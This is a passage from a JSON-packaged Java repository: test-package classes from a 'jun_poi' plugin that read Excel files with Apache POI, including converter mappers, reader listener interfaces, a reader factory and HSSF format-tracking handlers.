i = 0; i < length; i++) {\n\t\t\t\t\tObject object = Array.get(array, i);\n\t\t\t\t\tif (!parameter.contains(object)) {\n\t\t\t\t\t\tparameter.add(object);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfinal Class<? extends ConverterMatcher> converterType = annotation\n\t\t\t\t.value();\n\t\tMap<List<Object>, FieldValueConverter> converterMapping = converterCache\n\t\t\t\t.get(converterType,\n\t\t\t\t\t\tnew Callable<Map<List<Object>, FieldValueConverter>>() {\n\n\t\t\t\t\t\t\t@Override\n\t\t\t\t\t\t\tpublic Map<List<Object>, FieldValueConverter> call()\n\t\t\t\t\t\t\t\t\tthrows Exception {\n\n\t\t\t\t\t\t\t\tMap<List<Object>, FieldValueConverter> converterMappingTemp = new HashMap<List<Object>, FieldValueConverter>();\n\t\t\t\t\t\t\t\treturn converterMappingTemp;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t});\n\t\tresult = converterMapping.get(parameter);\n\t\tif (result == null) {\n\t\t\tint size = parameter.size();\n\n\t\t\tif (size > 0) {\n\t\t\t\targs = new Object[size];\n\t\t\t\tSystem.arraycopy(parameter.toArray(new Object[size]), 0, args,\n\t\t\t\t\t\t0, size);\n\t\t\t} else {\n\t\t\t\targs = null;\n\t\t\t}\n\t\t\tfinal FieldValueConverter converter;\n\t\t\ttry {\n\n\t\t\t\tconverter = (FieldValueConverter) ReflectDependencyFactory\n\t\t\t\t\t\t.newInstance(converterType, args);\n\t\t\t} catch (final Exception e) {\n\t\t\t\tthrow new InitializationException(\n\t\t\t\t\t\t\"Cannot instantiate converter \"\n\t\t\t\t\t\t\t\t+ converterType.getName()\n\t\t\t\t\t\t\t\t+ (targetType != null ? \" for type \"\n\t\t\t\t\t\t\t\t\t\t+ targetType.getName() : \"\"), e);\n\t\t\t}\n\n\t\t\tconverterMapping.put(parameter, converter);\n\t\t\tresult=converter;\n\t\t}\n\t\treturn result;\n\t}\n\n\t\n\n\tprivate final class UnprocessedTypesSet extends LinkedHashSet<Class<?>> {\n\t\t@Override\n\t\tpublic boolean add(Class<?> type) {\n\t\t\tif (type == null) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\twhile (type.isArray()) {\n\t\t\t\ttype = type.getComponentType();\n\t\t\t}\n\t\t\tfinal String name = type.getName();\n\t\t\tif (name.startsWith(\"java.\") || name.startsWith(\"javax.\")) {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\tfinal boolean ret = annotatedTypes.contains(type) ? false : super\n\t\t\t\t\t.add(type);\n\t\t\treturn ret;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/mapper/BaseGlobalConverterMapper.java",
    "content": "package com.jun.plugin.poi.test.excel.mapper;\n\nimport java.lang.reflect.Array;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.Date;\n\nimport com.google.common.collect.ImmutableMap;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.BooleanFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.ByteFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.CharacterFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.DateFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.DoubleFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.FloatFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.IntegerFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.LongFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.ShortFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.StringFieldConverter;\nimport com.jun.plugin.poi.test.excel.converter.collections.ArrayConverter;\nimport com.jun.plugin.poi.test.excel.converter.collections.CollectionConverter;\nimport com.jun.plugin.poi.test.excel.converter.enums.EnumConVerter;\n\n/**\n * 默认的全局转换类，先静态吧，容我想想\n * @author Wujun\n *\n * @date 2016-3-19\n * Description:  \n */\npublic class BaseGlobalConverterMapper {\n\tstatic ImmutableMap.Builder<Class<?>, FieldValueConverter>   builder;\n\tstatic{\n\t\tbuilder=ImmutableMap.builder();\n\t\tbuilder.put(String.class,new StringFieldConverter());\n\t\tbuilder.put(Date.class,new DateFieldConverter());\n\t\tbuilder.put(Enum.class,new EnumConVerter());\n\t\tbuilder.put(Array.class,new ArrayConverter());\n\t\t//builder.put(Collections.class,new ArrayConverter());\n\t\t\n\t\t\n\t\tbuilder.put(Integer.class,new IntegerFieldConverter());\n\t\tbuilder.put(Long.class,new LongFieldConverter());\n\t\tbuilder.put(Boolean.class,new BooleanFieldConverter());\n\t\tbuilder.put(Byte.class,new ByteFieldConverter());\n\t\tbuilder.put(Character.class,new CharacterFieldConverter());\n\t\tbuilder.put(Double.class,new DoubleFieldConverter());\n\t\tbuilder.put(Float.class,new FloatFieldConverter());\n\t\tbuilder.put(Short.class,new ShortFieldConverter());\n\t\tbuilder.put(Collection.class,new CollectionConverter());\n\t}\n\tpublic final static ImmutableMap<Class<?>, FieldValueConverter> globalFieldConverterMapper=builder.build();\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/mapper/ConversionMapper.java",
    "content": "package com.jun.plugin.poi.test.excel.mapper;\n\nimport java.lang.annotation.Annotation;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport com.google.common.base.Strings;\nimport com.jun.plugin.poi.test.excel.annotation.OutAlias;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.core.common.FieldRelation;\n\npublic class ConversionMapper {\n\tprivate final Map<FieldRelation, FieldConverterMapper> fieldMapper = new HashMap<>();\n\tprivate final Map<Class<?>, String> modelAlias = new HashMap<>();\n\n\tpublic ConversionMapper() {\n\t}\n\n\t/**\n\t * @param definedIn\n\t * @param fieldName\n\t * @param index\n\t * @param alias\n\t * @param fieldType\n\t * @param converter\n\t */\n\t//TODO 构造方法参数比较多，可能是设计不合理引起的，后面改进\n\tpublic void registerLocalConverter(Class definedIn, String fieldName,\n\t\t\tint index, String alias,Class<?> fieldType,boolean readRequired,\n\t\t\tFieldValueConverter converter) {\n\n\t\tregisterLocalConverter(definedIn, fieldName, new FieldConverterMapper(\n\t\t\t\tindex, converter, alias, fieldType,readRequired));\n\t}\n\n\tprivate void registerLocalConverter(Class definedIn, String fieldName,\n\t\t\tFieldConverterMapper mapper) {\n\t\tAnnotation annotation = definedIn.getAnnotation(OutAlias.class);\n\t\tif (annotation != null) {\n\t\t\tString value = ((OutAlias) annotation).value();\n\t\t\tif (Strings.isNullOrEmpty(value)) {\n\t\t\t\tvalue = definedIn.getSimpleName();\n\t\t\t}\n\t\t\tmodelAlias.put(definedIn, value);\n\t\t}\n\t\tmapper.setContainer(definedIn);\n\t\tfieldMapper.put(new FieldRelation(definedIn, fieldName), mapper);\n\t}\n\n\tpublic FieldValueConverter getLocalConverter(Class definedIn,\n\t\t\tString fieldName) {\n\t\treturn fieldMapper.get(new FieldRelation(definedIn, fieldName))\n\t\t\t\t.getFieldConverter();\n\t}\n\n\tpublic FieldConverterMapper getLocalConverterMapper(Class definedIn,\n\t\t\tString fieldName) {\n\t\treturn fieldMapper.get(new FieldRelation(definedIn, fieldName));\n\t}\n\n\tpublic String getModelName(Class<?> key) {\n        return modelAlias.get(key);\n\t}\n\n\tpublic static class FieldConverterMapper {\n\t\tprivate int index;\n\t\tprivate boolean isPrimitive = true;\n\t\tprivate Class<?> clazz;\n\t\tprivate FieldValueConverter converter;\n\t\tprivate String alias;\n\t\tprivate boolean readRequired=false;\n\t\t\n\t\tprivate Class container;\n\t\t\n\t\tpublic Class getContainer() {\n\t\t\treturn container;\n\t\t}\n\n\t\tpublic void setContainer(Class container) {\n\t\t\tthis.container = container;\n\t\t}\n\n\t\tpublic int getIndex() {\n\t\t\treturn index;\n\t\t}\n\n\t\tpublic boolean isPrimitive() {\n\t\t\treturn isPrimitive;\n\t\t}\n\n\t\tpublic Class<?> getFieldClass() {\n\t\t\treturn clazz;\n\t\t}\n\n\t\tpublic String getAlias() {\n\t\t\treturn alias;\n\t\t}\n\n\n\t\tpublic boolean isReadRequired() {\n\t\t\treturn readRequired;\n\t\t}\n\n\t\tpublic FieldValueConverter getFieldConverter() {\n\t\t\treturn converter;\n\t\t}\n\n\t\tpublic void setFieldConverter(FieldValueConverter converter) {\n\t\t\tthis.converter = converter;\n\t\t}\n\n\t\tpublic FieldConverterMapper(int index, FieldValueConverter converter,\n\t\t\t\tString alias,  Class<?> clazz) {\n\t\t\tsuper();\n\t\t\tthis.index = index;\n\t\t\tthis.isPrimitive = clazz.isPrimitive();\n\t\t\tthis.clazz = clazz;\n\t\t\tthis.alias = alias;\n\t\t\tthis.converter = converter;\n\t\t}\n\t\tpublic FieldConverterMapper(int index, FieldValueConverter converter,\n\t\t\t\tString alias,  Class<?> clazz,boolean readRequired) {\n\t\t\tsuper();\n\t\t\tthis.index = index;\n\t\t\tthis.isPrimitive = clazz.isPrimitive();\n\t\t\tthis.clazz = clazz;\n\t\t\tthis.alias = alias;\n\t\t\tthis.readRequired=readRequired;\n\t\t\tthis.converter = converter;\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/mapper/ExcelConverterMapperHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.mapper;\n\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.mapper.ConversionMapper.FieldConverterMapper;\n\npublic interface ExcelConverterMapperHandler {\n\n\t void processAnnotations(final Class[] initialTypes);\n\n\t void processAnnotations(final Class initialType);\n\n\t@Deprecated\n\t FieldValueConverter getLocalConverter(Class definedIn,\n\t\t\tString fieldName);\n\n\tFieldConverterMapper getLocalFieldConverterMapper(Class definedIn,\n\t\t\tString fieldName);\n\n\tString   getModelName(Class<?> definedIn);\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/AbstractExcelReadListener.java",
    "content": "package com.jun.plugin.poi.test.excel.reader;\n\n\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\n\n\n/**\n * @author Wujun\n *\n * @date 2016-3-1\n * Description:  \n */\npublic abstract class AbstractExcelReadListener implements ExcelReadListener {\n\n\t@Override\n\tpublic void optRow(int curRow, ListRow rowList) {\n\t\t\n\t}\n\n\t@Override\n\tpublic void startSheet(int sheetIndex, String name) {\n\t\t\n\t}\n\n\t@Override\n\tpublic void endSheet(int sheetIndex, String name) {\n\t\t\n\t}\n\n\t@Override\n\tpublic void endWorkBook() {\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/ExcelReadListener.java",
    "content": "package com.jun.plugin.poi.test.excel.reader;\n\n\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-1\n * Description:  \n */\npublic interface ExcelReadListener {\n\t/**\n\t * 该方法自动被调用，每读一行调用一次，在方法中写自己的业务逻辑即可\n\t * \n\t * @param sheetIndex\n\t *            工作簿序号\n\t * @param curRow\n\t *            处理到第几行\n\t * @param rowList\n\t *            当前数据行的数据集合\n\t */\n\tvoid optRow(int curRow, ListRow rowList);\n\tvoid startSheet(int sheetIndex, String name);\n\t/**\n\t * @param sheetIndex 工作表下标 从0开始\n\t * @param name 工作表名称\n\t */\n\tvoid endSheet(int sheetIndex, String name);\n\tvoid endWorkBook();\n}\n  "
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/ExcelReaderFactory.java",
    "content": "package com.jun.plugin.poi.test.excel.reader;\n\nimport java.io.File;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.PushbackInputStream;\nimport java.sql.SQLException;\n\nimport org.apache.poi.POIXMLDocument;\nimport org.apache.poi.openxml4j.exceptions.InvalidFormatException;\nimport org.apache.poi.openxml4j.opc.OPCPackage;\nimport org.apache.poi.openxml4j.opc.PackageAccess;\nimport org.apache.poi.poifs.filesystem.OfficeXmlFileException;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\nimport org.apache.poi.util.IOUtils;\n\nimport com.jun.plugin.poi.test.excel.reader.hssf.DefaultHSSFHandler;\nimport com.jun.plugin.poi.test.excel.reader.sax.DefaultXSSFSaxHandler;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-1\n * Description:  \n */\npublic class ExcelReaderFactory {\n\t/**\n\t * @param file\n\t * @param excelReader\n\t * @param ignoreNumFormat  是否忽略数据格式  (default=false，按照格式读取)\n\t * @param maxReturnLines 可为null，当null时候，不限制\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static ReadHandler create(File file, ExcelReadListener excelReader,\n\t\t\tboolean ignoreNumFormat) throws Exception {\n\t\tif (!file.exists()) {\n\t\t\tthrow new FileNotFoundException(file.toString());\n\t\t}\n\t\ttry {\n\t\t\tPOIFSFileSystem fs = new POIFSFileSystem(file);\n\t\t\treturn create(fs, excelReader, ignoreNumFormat);\n\t\t} catch (OfficeXmlFileException e) {\n\t\t\tOPCPackage pkg = OPCPackage.open(file, PackageAccess.READ);\n\t\t\ttry {\n\t\t\t\treturn create(pkg, excelReader, ignoreNumFormat);\n\t\t\t} catch (IllegalArgumentException | IOException e1) {\n\t\t\t\tpkg.revert();\n\t\t\t\tthrow e1;\n\t\t\t}\n\t\t}\n\n\t}\n\n\t/**\n\t * @param file\n\t * @param excelReader\n\t * @return\n\t * @throws Exception\n\t */\n\tpublic static ReadHandler create(File file, ExcelReadListener excelReader)\n\t\t\tthrows Exception {\n\t\treturn create(file, excelReader, false);\n\n\t}\n\t\n\t\n\t/**\n\t * @param inp\n\t * @param excelReader\n\t * @param maxReturnLines <code>null</code> 不限制，\n\t * @return\n\t * @throws InvalidFormatException\n\t * @throws IOException\n\t * @throws SQLException\n\t */\n\tpublic static ReadHandler create(InputStream inp,\n\t\t\tExcelReadListener excelReader) throws InvalidFormatException, IOException, SQLException {\n\t\t  return create(inp, excelReader, false);\n\t}\n\t/**\n\t * @param inp\n\t * @param excelReader\n\t * @param ignoreNumFormat 是否忽略数据格式  (default=false，按照格式读取) \n\t * @param maxReturnLines\n\t * @return\n\t * @throws InvalidFormatException\n\t * @throws IOException\n\t * @throws SQLException\n\t */\n\tpublic static ReadHandler create(InputStream inp,\n\t\t\tExcelReadListener excelReader, boolean ignoreNumFormat) throws InvalidFormatException, IOException, SQLException {\n\t\t // If clearly doesn't do mark/reset, wrap up\n        if (! inp.markSupported()) {\n            inp = new PushbackInputStream(inp, 8);\n        }\n\n        // Ensure that there is at least some data there\n        byte[] header8 = IOUtils.peekFirst8Bytes(inp);\n\n        // Try to create\n        if (POIFSFileSystem.hasPOIFSHeader(header8)) {\n            POIFSFileSystem fs = new POIFSFileSystem(inp);\n            return create(fs, excelReader, ignoreNumFormat);\n        }\n        if (POIXMLDocument.hasOOXMLHeader(inp)) {\n             OPCPackage pkg = OPCPackage.open(inp);\n             return create(pkg, excelReader, ignoreNumFormat);\n        }\n        throw new InvalidFormatException(\"Your InputStream was neither an OLE2 stream, nor an OOXML stream\");\n    \n\n\t}\n\n\t/**\n\t * @param pkg\n\t * @param excelReader\n\t * @return\n\t * @throws SQLException\n\t * @throws InvalidFormatException\n\t * @throws IOException\n\t */\n\tpublic static ReadHandler create(OPCPackage pkg,\n\t\t\tExcelReadListener excelReader) throws SQLException,\n\t\t\tInvalidFormatException, IOException {\n\t\treturn create(pkg, excelReader, false);\n\t}\n\n\t/*\n\t * public static SaxHandler create(OPCPackage pkg,ExcelReadListener\n\t * excelReader,Integer maxReturnLines) throws SQLException,\n\t * InvalidFormatException, IOException{ return\n\t * create(pkg,excelReader,false,maxReturnLines); } public static SaxHandler\n\t * create(OPCPackage pkg,ExcelReadListener excelReader,boolean\n\t * ignoreNumFormat) throws SQLException, InvalidFormatException,\n\t * IOException{ return create(pkg,excelReader,ignoreNumFormat,null); }\n\t */\n\tpublic static ReadHandler create(OPCPackage pkg,\n\t\t\tExcelReadListener excelReader, boolean ignoreNumFormat) throws SQLException,\n\t\t\tInvalidFormatException, IOException {\n\t\tDefaultXSSFSaxHandler handler = new DefaultXSSFSaxHandler(pkg,\n\t\t\t\texcelReader, ignoreNumFormat);\n\t\t\n\t\treturn handler;\n\t}\n\n\tpublic static ReadHandler create(POIFSFileSystem fs,\n\t\t\tExcelReadListener excelReader) throws SQLException {\n\t\treturn create(fs, excelReader, false);\n\t}\n\n\t/*\n\t * public static SaxHandler create(POIFSFileSystem fs,ExcelReadListener\n\t * excelReader,Integer maxReturnLines) throws SQLException{ return\n\t * create(fs,excelReader,false,maxReturnLines); } public static SaxHandler\n\t * create(POIFSFileSystem fs,ExcelReadListener excelReader,boolean\n\t * ignoreNumFormat) throws SQLException{ return\n\t * create(fs,excelReader,ignoreNumFormat,null); }\n\t */\n\tpublic static ReadHandler create(POIFSFileSystem fs,\n\t\t\tExcelReadListener excelReader, boolean ignoreNumFormat) throws SQLException {\n\t\tDefaultHSSFHandler handler = new DefaultHSSFHandler(fs, excelReader,\n\t\t\t\tignoreNumFormat);\n\t\t\n\t\treturn handler;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/ReadHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.reader;\n\nimport java.io.IOException;\n\nimport org.apache.poi.openxml4j.exceptions.OpenXML4JException;\nimport org.xml.sax.SAXException;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-1\n * Description:  \n */\npublic interface ReadHandler {\n\t/**\n\t * 处理所用数据对象\n\t */\n\tvoid readSheets() throws IOException, OpenXML4JException , SAXException;\n\tvoid readSheets(int maxReadLine) throws IOException, OpenXML4JException , SAXException;\n\t/**\n\t * 读取指定的数据\n\t * @param index sheetDate对应下标 0 start\n\t */\n\tvoid readSheet(int index)throws IOException, OpenXML4JException , SAXException;\n\tvoid readSheet(int[] indexs)throws IOException, OpenXML4JException , SAXException;\n\tvoid readSheet(String indexName)throws IOException, OpenXML4JException , SAXException;\n\tvoid readSheet(int index,int maxReadLine)throws IOException, OpenXML4JException , SAXException;\n\tvoid readSheet(int[] indexs,int maxReadLine)throws IOException, OpenXML4JException , SAXException;\n\tvoid readSheet(String indexName,int maxReadLine)throws IOException, OpenXML4JException , SAXException;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/hssf/DefaultHSSFHandler.java",
    "content": "package com.jun.plugin.poi.test.excel.reader.hssf;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.sql.SQLException;\nimport java.util.List;\n\nimport org.apache.poi.openxml4j.exceptions.OpenXML4JException;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\nimport org.xml.sax.SAXException;\n\nimport com.jun.plugin.poi.test.excel.reader.ExcelReadListener;\nimport com.jun.plugin.poi.test.excel.reader.ReadHandler;\nimport com.jun.plugin.poi.test.excel.vo.CellKV;\nimport com.jun.plugin.poi.test.excel.vo.ListRow;\n\n/**\n * @author Wujun\n * \n * @date 2016-2-17 Description:\n */\npublic class DefaultHSSFHandler extends HSSFListenerAbstract implements\n\t\tReadHandler {\n\n\tprivate ExcelReadListener excelReader;\n\n\t@Override\n\tpublic void readSheets(int maxReadLine) throws IOException,\n\t\t\tOpenXML4JException, SAXException {\n\t\tsetMaxReturnLine(maxReadLine);\n\t\treadSheets();\n\t}\n\n\t@Override\n\tpublic void readSheet(int index, int maxReadLine) throws IOException,\n\t\t\tOpenXML4JException, SAXException {\n\t\tsetMaxReturnLine(maxReadLine);\n\t\t readSheet(index);\n\t}\n\n\t@Override\n\tpublic void readSheet(int[] indexs, int maxReadLine) throws IOException,\n\t\t\tOpenXML4JException, SAXException {\n\t\t\tsetMaxReturnLine(maxReadLine);\n\t\t\treadSheet(indexs);\n\n\t}\n\n\t@Override\n\tpublic void readSheet(String indexName, int maxReadLine)\n\t\t\tthrows IOException, OpenXML4JException, SAXException {\n\t\tsetMaxReturnLine(maxReadLine);\n\t\t readSheet(indexName);\n\t}\n\n\tpublic DefaultHSSFHandler(String path, ExcelReadListener excelReader)\n\t\t\tthrows FileNotFoundException, IOException, SQLException {\n\t\tthis(path, excelReader, false);\n\t}\n\n\tpublic DefaultHSSFHandler(InputStream in, ExcelReadListener excelReader)\n\t\t\tthrows SQLException, IOException {\n\t\tthis(in, excelReader, false);\n\t}\n\n\tpublic DefaultHSSFHandler(POIFSFileSystem fs, ExcelReadListener excelReader)\n\t\t\tthrows SQLException {\n\t\tthis(fs, excelReader, false);\n\n\t}\n\n\tpublic DefaultHSSFHandler(String path, ExcelReadListener excelReader,\n\t\t\tboolean ignoreNumFormat) throws FileNotFoundException, IOException,\n\t\t\tSQLException {\n\t\tthis(new FileInputStream(path), excelReader, ignoreNumFormat);\n\n\t}\n\n\tpublic DefaultHSSFHandler(InputStream in, ExcelReadListener excelReader,\n\t\t\tboolean ignoreNumFormat) throws SQLException, IOException {\n\t\tthis(new POIFSFileSystem(in), excelReader, ignoreNumFormat);\n\n\t}\n\n\tpublic DefaultHSSFHandler(POIFSFileSystem fs,\n\t\t\tExcelReadListener excelReader, boolean ignoreNumFormat)\n\t\t\tthrows SQLException {\n\t\tsuper(fs, excelReader, ignoreNumFormat);\n\t\tthis.excelReader = excelReader;\n\t}\n\n\t@Override\n\tpublic void readSheets() throws IOException, OpenXML4JException,\n\t\t\tSAXException {\n\t\tprocess();\n\n\t}\n\n\t@Override\n\tpublic void readSheet(int index) throws IOException, OpenXML4JException,\n\t\t\tSAXException {\n\t\treadSheet(new int[] { index });\n\t}\n\n\t@Override\n\tpublic void readSheet(int[] indexs) throws IOException, OpenXML4JException,\n\t\t\tSAXException {\n\t\tif (indexs.length >= 0) {\n\t\t\tsetAimSheetIndex(indexs);\n\t\t}\n\t\tprocess();\n\t}\n\n\t@Override\n\tpublic void readSheet(String indexName) throws IOException,\n\t\t\tOpenXML4JException, SAXException {\n\t\tsetAimSheetName(indexName);\n\t\tprocess();\n\t}\n\n\t@Override\n\tpublic void optRows(int sheetIndex, int curRow, ListRow rowlist)\n\t\t\t {\n\t\texcelReader.optRow(curRow, rowlist);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/hssf/ExcelFormatTrackingHSSFListener.java",
    "content": "package com.jun.plugin.poi.test.excel.reader.hssf;\n\n/* ====================================================================\nLicensed to the Apache Software Foundation (ASF) under one or more\ncontributor license agreements.  See the NOTICE file distributed with\nthis work for additional information regarding copyright ownership.\nThe ASF licenses this file to You under the Apache License, Version 2.0\n(the \"License\"); you may not use this file except in compliance with\nthe License.  You may obtain a copy of the License at\n\n    http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==================================================================== */\n\nimport java.text.NumberFormat;\nimport java.util.ArrayList;\nimport java.util.Hashtable;\nimport java.util.List;\nimport java.util.Locale;\nimport java.util.Map;\n\nimport org.apache.poi.hssf.eventusermodel.HSSFListener;\nimport org.apache.poi.hssf.record.CellValueRecordInterface;\nimport org.apache.poi.hssf.record.ExtendedFormatRecord;\nimport org.apache.poi.hssf.record.FormatRecord;\nimport org.apache.poi.hssf.record.FormulaRecord;\nimport org.apache.poi.hssf.record.NumberRecord;\nimport org.apache.poi.hssf.record.Record;\nimport org.apache.poi.util.LocaleUtil;\nimport org.apache.poi.util.POILogFactory;\nimport org.apache.poi.util.POILogger;\n\nimport com.jun.plugin.poi.test.excel.reader.usermodel.ExcelHSSFDataFormat;\nimport com.jun.plugin.poi.test.excel.reader.usermodel.ExcelHSSFDataFormatter;\n\n\n/**\n* A proxy HSSFListener that keeps track of the document formatting records, and\n* provides an easy way to look up the format strings used by cells from their\n* ids.\n*/\n/**\n * @author Wujun\n *\n * @date 2016-2-17\n * Description:  \n */\npublic class ExcelFormatTrackingHSSFListener implements HSSFListener {\n\tprivate static POILogger logger = POILogFactory.getLogger(ExcelFormatTrackingHSSFListener.class);\n\tprivate final HSSFListener _childListener;\n\tprivate final ExcelHSSFDataFormatter _formatter;\n\tprivate final NumberFormat _defaultFormat;\n\tprivate final Map<Integer, FormatRecord> _customFormatRecords = new Hashtable<Integer, FormatRecord>();\n\tprivate final List<ExtendedFormatRecord> _xfRecords = new ArrayList<ExtendedFormatRecord>();\n\n\t/**\n\t * Creates a format tracking wrapper around the given listener, using\n\t * the {@link Locale#getDefault() default locale} for the formats.\n\t */\n\tpublic ExcelFormatTrackingHSSFListener(HSSFListener childListener) {\n\t\tthis(childListener, LocaleUtil.getUserLocale());\n\t}\n\n\t/**\n\t * Creates a format tracking wrapper around the given listener, using\n\t * the given locale for the formats.\n\t */\n\tpublic ExcelFormatTrackingHSSFListener(\n\t\t\tHSSFListener childListener, Locale locale) {\n\t\t_childListener = childListener;\n\t\t_formatter = new ExcelHSSFDataFormatter(locale);\n\t\t_defaultFormat = NumberFormat.getInstance(locale);\n\t}\n\n\tprotected int getNumberOfCustomFormats() {\n\t\treturn _customFormatRecords.size();\n\t}\n\n\tprotected int getNumberOfExtendedFormats() {\n\t\treturn _xfRecords.size();\n\t}\n\n\t/**\n\t * Process this record ourselves, and then pass it on to our child listener\n\t */\n\tpublic void processRecord(Record record) {\n\t\t// Handle it ourselves\n\t\tprocessRecordInternally(record);\n\n\t\t// Now pass on to our child\n\t\t_childListener.processRecord(record);\n\t}\n\n\t/**\n\t * Process the record ourselves, but do not pass it on to the child\n\t * Listener.\n\t *\n\t * @param record\n\t */\n\tpublic void processRecordInternally(Record record) {\n\t\tif (record instanceof FormatRecord) {\n\t\t\tFormatRecord fr = (FormatRecord) record;\n\t\t\t_customFormatRecords.put(Integer.valueOf(fr.getIndexCode()), fr);\n\t\t}\n\t\tif (record instanceof ExtendedFormatRecord) {\n\t\t\tExtendedFormatRecord xr = (ExtendedFormatRecord) record;\n\t\t\t_xfRecords.add(xr);\n\t\t}\n\t}\n\n\t/**\n\t * Formats the given numeric of date Cell's contents as a String, in as\n\t * close as we can to the way that Excel would do so. Uses the various\n\t * format records to manage this.\n\t *\n\t * TODO - move this to a central class in such a way that hssf.usermodel can\n\t * make use of it too\n\t */\n\tpublic String formatNumberDateCell(CellValueRecordInterface cell) {\n\t\tdouble value;\n\t\tif (cell instanceof NumberRecord) {\n\t\t\tvalue = ((NumberRecord) cell).getValue();\n\t\t} else if (cell instanceof FormulaRecord) {\n\t\t\tvalue = ((FormulaRecord) cell).getValue();\n\t\t} else {\n\t\t\tthrow new IllegalArgumentException(\"Unsupported CellValue Record passed in \" + cell);\n\t\t}\n\n\t\t// Get the built in format, if there is one\n\t\tint formatIndex = getFormatIndex(cell);\n\t\tString formatString = getFormatString(cell);\n\n\t\tif (formatString == null) {\n\t\t\treturn _defaultFormat.format(value);\n\t\t}\n\t\t// Format, using the nice new\n\t\t// HSSFDataFormatter to do the work for us\n\t\treturn _formatter.formatRawCellContents(value, formatIndex, formatString);\n\t}\n\n\t/**\n\t * Returns the format string, eg $##.##, for the given number format index.\n\t */\n\tpublic String getFormatString(int formatIndex) {\n\t\tString format = null;\n\t\tif (formatIndex >= ExcelHSSFDataFormat.getNumberOfBuiltinBuiltinFormats()) {\n\t\t\tFormatRecord tfr = _customFormatRecords.get(Integer.valueOf(formatIndex));\n\t\t\tif (tfr == null) {\n\t\t\t\tlogger.log( POILogger.ERROR, \"Requested format at index \" + formatIndex\n\t\t\t\t\t\t+ \", but it wasn't found\");\n\t\t\t} else {\n\t\t\t\tformat = tfr.getFormatString();\n\t\t\t}\n\t\t} else {\n\t\t\tformat = ExcelHSSFDataFormat.getBuiltinFormat((short) formatIndex);\n\t\t}\n\t\treturn format;\n\t}\n\n\t/**\n\t * Returns the format string, eg $##.##, used by your cell\n\t */\n\tpublic String getFormatString(CellValueRecordInterface cell) {\n\t\tint formatIndex = getFormatIndex(cell);\n\t\tif (formatIndex == -1) {\n\t\t\t// Not found\n\t\t\treturn null;\n\t\t}\n\t\treturn getFormatString(formatIndex);\n\t}\n\n\t/**\n\t * Returns the index of the format string, used by your cell, or -1 if none\n\t * found\n\t */\n\tpublic int getFormatIndex(CellValueRecordInterface cell) {\n\t\tExtendedFormatRecord xfr = _xfRecords.get(cell.getXFIndex());\n\t\tif (xfr == null) {\n\t\t\tlogger.log( POILogger.ERROR, \"Cell \" + cell.getRow() + \",\" + cell.getColumn()\n\t\t\t\t\t+ \" uses XF with index \" + cell.getXFIndex() + \", but we don't have that\");\n\t\t\treturn -1;\n\t\t}\n\t\t\n\t\treturn xfr.getFormatIndex();\n\t}\n\tpublic void ignoreNumFormat(boolean b){\n\t\t_formatter.setIgnoreNumFormat(b);\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/hssf/HSSFListenerAbstract.java",
